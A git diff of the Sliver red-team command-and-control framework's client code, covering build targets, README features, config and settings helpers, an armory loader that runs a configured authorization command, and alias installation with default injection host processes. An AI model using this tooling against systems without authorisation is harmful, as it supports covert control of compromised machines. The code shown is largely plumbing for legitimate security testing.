GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
.PHONY: pb
pb:
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
validate-go-version:
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
exit 0 ;\
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
fi
.PHONY: clean-all
clean-all: clean
rm -rf ./server/assets/fs/darwin/amd64
@@ -135,5 +161,4 @@ clean-all: clean
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server *.exe
rm -f sliver-client sliver-server sliver-*.exe
+10 -5
View File
@@ -1,7 +1,7 @@
Sliver
======
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
@@ -17,12 +17,12 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
* Local and remote process injection
* Windows process migration
* Windows user token manipulation
* Anti-anti-anti-forensics
* Windows process migration, process injection, user token manipulation, etc.
* Let's Encrypt integration
* In-memory .NET assembly execution
* COFF/BOF in-memory loader
* TCP and named pipe pivots
* Much more!
### Getting Started
@@ -40,6 +40,11 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+1 -9
View File
@@ -1,9 +1 @@
fs/*.zip
fs/extensions/darwin/amd64/
fs/extensions/darwin/arm64/
fs/extensions/linux/amd64/
fs/extensions/windows/amd64/
fs/extensions/darwin/386/
fs/extensions/darwin/386/
fs/extensions/linux/386/
fs/extensions/windows/386/
fs/**
+65
View File
@@ -0,0 +1,65 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"log"
"os"
"path/filepath"
)
const (
AliasesDirName = "aliases"
)
// GetAliasesDir - Returns the path to the config dir
func GetAliasesDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, AliasesDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetInstalledAliasManifests - Returns a list of installed alias manifests
func GetInstalledAliasManifests() []string {
aliasDir := GetAliasesDir()
aliasDirContent, err := ioutil.ReadDir(aliasDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
}
manifests := []string{}
for _, fi := range aliasDirContent {
if fi.IsDir() {
manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
log.Printf("no manifest in %s, skipping ...", manifestPath)
continue
}
manifests = append(manifests, manifestPath)
}
}
return manifests
}
+87
View File
@@ -0,0 +1,87 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"log"
"os"
"os/exec"
"path/filepath"
)
const (
armoryConfigFileName = "armories.json"
)
var (
// DefaultArmoryPublicKey - The default public key for the armory
DefaultArmoryPublicKey string
// DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
RepoURL: DefaultArmoryRepoURL,
}
)
// ArmoryConfig - The armory config file
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"`
}
// GetArmoriesConfig - The parsed armory config file
func GetArmoriesConfig() []*ArmoryConfig {
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
return []*ArmoryConfig{defaultArmoryConfig}
}
data, err := ioutil.ReadFile(armoryConfigPath)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
var armoryConfigs []*ArmoryConfig
err = json.Unmarshal(data, &armoryConfigs)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
for _, armoryConfig := range armoryConfigs {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
return append(armoryConfigs, defaultArmoryConfig)
}
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
if armoryConfig.AuthorizationCmd == "" {
return ""
}
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
if err != nil {
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
return ""
}
return string(out)
}
+14 -71
View File
@@ -19,48 +19,28 @@ package assets
*/
import (
"embed"
"fmt"
"io/ioutil"
"log"
"os"
"os/user"
"path"
"path/filepath"
"strings"
ver "github.com/bishopfox/sliver/client/version"
)
var (
//go:embed fs/extensions/*
assetsFs embed.FS
)
const (
// SliverClientDirName - Directory storing all of the client configs/logs
SliverClientDirName = ".sliver-client"
// SliverExtensionsDirName - Directory storing the client side extensions
SliverExtensionsDirName = "extensions"
versionFileName = "version"
versionFileName = "version"
)
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
func GetRootAppDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
dir := filepath.Join(user.HomeDir, SliverClientDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
@@ -72,7 +52,7 @@ func GetExtensionsDir() string {
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
if err != nil {
return ""
}
@@ -80,7 +60,7 @@ func assetVersion() string {
}
func saveAssetVersion(appDir string) {
versionFilePath := path.Join(appDir, versionFileName)
versionFilePath := filepath.Join(appDir, versionFileName)
fVer, _ := os.Create(versionFilePath)
defer fVer.Close()
fVer.Write([]byte(ver.GitCommit))
@@ -92,53 +72,16 @@ func Setup(force bool, echo bool) {
localVer := assetVersion()
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf("Unpacking assets ...\n")
}
err := setupCoffLoaderExt(appDir)
if err != nil {
fmt.Println(err)
log.Fatal(err)
fmt.Printf(`
Sliver Copyright (C) 2022 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
fmt.Printf("\n\nUnpacking assets ...\n")
}
saveAssetVersion(appDir)
}
}
func setupCoffLoaderExt(appDir string) error {
extDir := GetExtensionsDir()
win32ExtDir := path.Join("windows", "386")
win64ExtDir := path.Join("windows", "amd64")
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
loader64, err := assetsFs.ReadFile(coffLoader64)
if err != nil {
return err
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
SaveSettings(nil)
}
loader32, err := assetsFs.ReadFile(coffLoader32)
if err != nil {
return err
}
manifest, err := assetsFs.ReadFile(manifestPath)
if err != nil {
return err
}
localWin32ExtDir := path.Join(extDir, win32ExtDir)
err = os.MkdirAll(localWin32ExtDir, 0700)
if err != nil {
return err
}
localWin64ExtDir := path.Join(extDir, win64ExtDir)
err = os.MkdirAll(localWin64ExtDir, 0700)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
if err != nil {
return err
}
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
}
+5 -4
View File
@@ -40,6 +40,7 @@ type ClientConfig struct {
Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
LHost string `json:"lhost"`
LPort int `json:"lport"`
Token string `json:"token"`
CACertificate string `json:"ca_certificate"`
PrivateKey string `json:"private_key"`
Certificate string `json:"certificate"`
@@ -48,7 +49,7 @@ type ClientConfig struct {
// GetConfigDir - Returns the path to the config dir
func GetConfigDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := path.Join(rootDir, ConfigDirName)
dir := filepath.Join(rootDir, ConfigDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
@@ -85,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
// ReadConfig - Load config into struct
func ReadConfig(confFilePath string) (*ClientConfig, error) {
confFile, err := os.Open(confFilePath)
defer confFile.Close()
if err != nil {
log.Printf("Open failed %v", err)
return nil, err
}
defer confFile.Close()
data, err := ioutil.ReadAll(confFile)
if err != nil {
log.Printf("Read failed %v", err)
@@ -107,11 +108,11 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
// SaveConfig - Save a config to disk
func SaveConfig(config *ClientConfig) error {
if config.LHost == "" || config.Operator == "" {
return errors.New("Empty config")
return errors.New("empty config")
}
configDir := GetConfigDir()
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
saveTo, _ := filepath.Abs(path.Join(configDir, filename))
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
configJSON, _ := json.Marshal(config)
err := ioutil.WriteFile(saveTo, configJSON, 0600)
if err != nil {
+66
View File
@@ -0,0 +1,66 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"log"
"os"
"path/filepath"
)
const (
// ExtensionsDirName - Directory storing the client side extensions
ExtensionsDirName = "extensions"
)
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, ExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
func GetInstalledExtensionManifests() []string {
extDir := GetExtensionsDir()
extDirContent, err := ioutil.ReadDir(extDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
}
manifests := []string{}
for _, fi := range extDirContent {
if fi.IsDir() {
manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
log.Printf("no manifest in %s, skipping ...", manifestPath)
continue
}
manifests = append(manifests, manifestPath)
}
}
return manifests
}
-16
View File
@@ -1,16 +0,0 @@
[
{
"name": "coff-loader",
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
"entrypoint": "LoadAndRun",
"extFiles": [
{
"os": "windows",
"files": {
"x64": "COFFLoader.x64.dll",
"x86": "COFFLoader.x86.dll"
}
}
]
}
]
+79
View File
@@ -0,0 +1,79 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"path/filepath"
)
const (
settingsFileName = "tui-settings.json"
)
// ClientSettings - Client JSON config
type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
VimMode bool `json:"vim_mode"`
}
// LoadSettings - Load the client settings from disk
func LoadSettings() (*ClientSettings, error) {
rootDir, _ := filepath.Abs(GetRootAppDir())
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
if err != nil {
return defaultSettings(), err
}
settings := defaultSettings()
err = json.Unmarshal(data, settings)
if err != nil {
return defaultSettings(), err
}
return settings, nil
}
func defaultSettings() *ClientSettings {
return &ClientSettings{
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
VimMode: false,
}
}
// SaveSettings - Save the current settings to disk
func SaveSettings(settings *ClientSettings) error {
rootDir, _ := filepath.Abs(GetRootAppDir())
if settings == nil {
settings = defaultSettings()
}
data, err := json.MarshalIndent(settings, "", " ")
if err != nil {
return err
}
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
return err
}
@@ -1,4 +1,11 @@
Extensions
Alias
===========
Wraps external DLLs/tool in Sliver console commands.
### Format
* `alias-dir/`
* * `manifest.json` -
+126
View File
@@ -0,0 +1,126 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// AliasesCmd - The alias command
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if 0 < len(loadedAliases) {
PrintAliases(con)
} else {
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
}
}
// PrintAliases - Print a list of loaded aliases
func PrintAliases(con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
".NET Assembly",
"Reflective",
"Tool Author",
"Repository",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, aliasPkg := range loadedAliases {
installed := ""
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
aliasPkg.Manifest.Name,
aliasPkg.Manifest.CommandName,
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
aliasPkg.Manifest.Version,
installed,
aliasPkg.Manifest.IsAssembly,
aliasPkg.Manifest.IsReflective,
aliasPkg.Manifest.OriginalAuthor,
aliasPkg.Manifest.RepoURL,
})
}
con.Println(tw.Render())
}
// AliasCommandNameCompleter - Completer for installed extensions command names
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{}
for name := range loadedAliases {
if strings.HasPrefix(name, prefix) {
results = append(results, name)
}
}
return results
}
func aliasPlatforms(aliasPkg *AliasManifest) []string {
platforms := map[string]string{}
for _, entry := range aliasPkg.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*AliasManifest {
manifestPaths := assets.GetInstalledAliasManifests()
installedManifests := map[string]*AliasManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &AliasManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
+90
View File
@@ -0,0 +1,90 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import "testing"
const (
sample1 = `{
"name": "test1",
"command_name": "test1",
"version": "1.0.0",
"repo_url": "https://example.com/",
"help": "some help",
"entrypoint": "foo",
"allow_args": true,
"default_args": "bar",
"is_reflective": true,
"is_assembly": true,
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
)
func TestParseAliasManifest(t *testing.T) {
alias1, err := ParseAliasManifest([]byte(sample1))
if err != nil {
t.Errorf("Error parsing alias manifest: %s", err)
}
if alias1.Name != "test1" {
t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
}
if alias1.CommandName != "test1" {
t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
}
if alias1.Version != "1.0.0" {
t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
}
if alias1.RepoURL != "https://example.com/" {
t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
}
if alias1.Help != "some help" {
t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
}
if alias1.Entrypoint != "foo" {
t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
}
if !alias1.AllowArgs {
t.Errorf("Expected allow_args to be true, got false")
}
if alias1.DefaultArgs != "bar" {
t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
}
if !alias1.IsReflective {
t.Errorf("Expected is_reflective to be true, got false")
}
if !alias1.IsAssembly {
t.Errorf("Expected is_assembly to be true, got false")
}
}
+178
View File
@@ -0,0 +1,178 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// AliasesInstallCmd - Install an alias
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
aliasLocalPath := ctx.Args.String("path")
fi, err := os.Stat(aliasLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
return
}
if !fi.IsDir() {
InstallFromFile(aliasLocalPath, false, con)
} else {
installFromDir(aliasLocalPath, con)
}
}
// Install an extension from a directory
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating alias directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, cmdFile := range manifest.Files {
if cmdFile.Path != "" {
src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
con.Printf("done!\n")
}
// Install an extension from a .tar.gz file
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
return nil
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, aliasFile := range manifest.Files {
if aliasFile.Path != "" {
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("empty file %s", artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
os.MkdirAll(artifactDir, 0o700)
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
+476
View File
@@ -0,0 +1,476 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
ManifestFileName = "alias.json"
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var (
// alias name -> manifest/command
loadedAliases = map[string]*loadedAlias{}
defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
)
// Ties the manifest struct to the command struct
type loadedAlias struct {
Manifest *AliasManifest
Command *grumble.Command
}
// AliasFile - An OS/Arch specific file
type AliasFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
// AliasManifest - The manifest for an alias, contains metadata
type AliasManifest struct {
Name string `json:"name"`
Version string `json:"version"`
CommandName string `json:"command_name"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Entrypoint string `json:"entrypoint"`
AllowArgs bool `json:"allow_args"`
DefaultArgs string `json:"default_args"`
Files []*AliasFile `json:"files"`
IsReflective bool `json:"is_reflective"`
IsAssembly bool `json:"is_assembly"`
RootPath string `json:"-"`
}
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range a.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
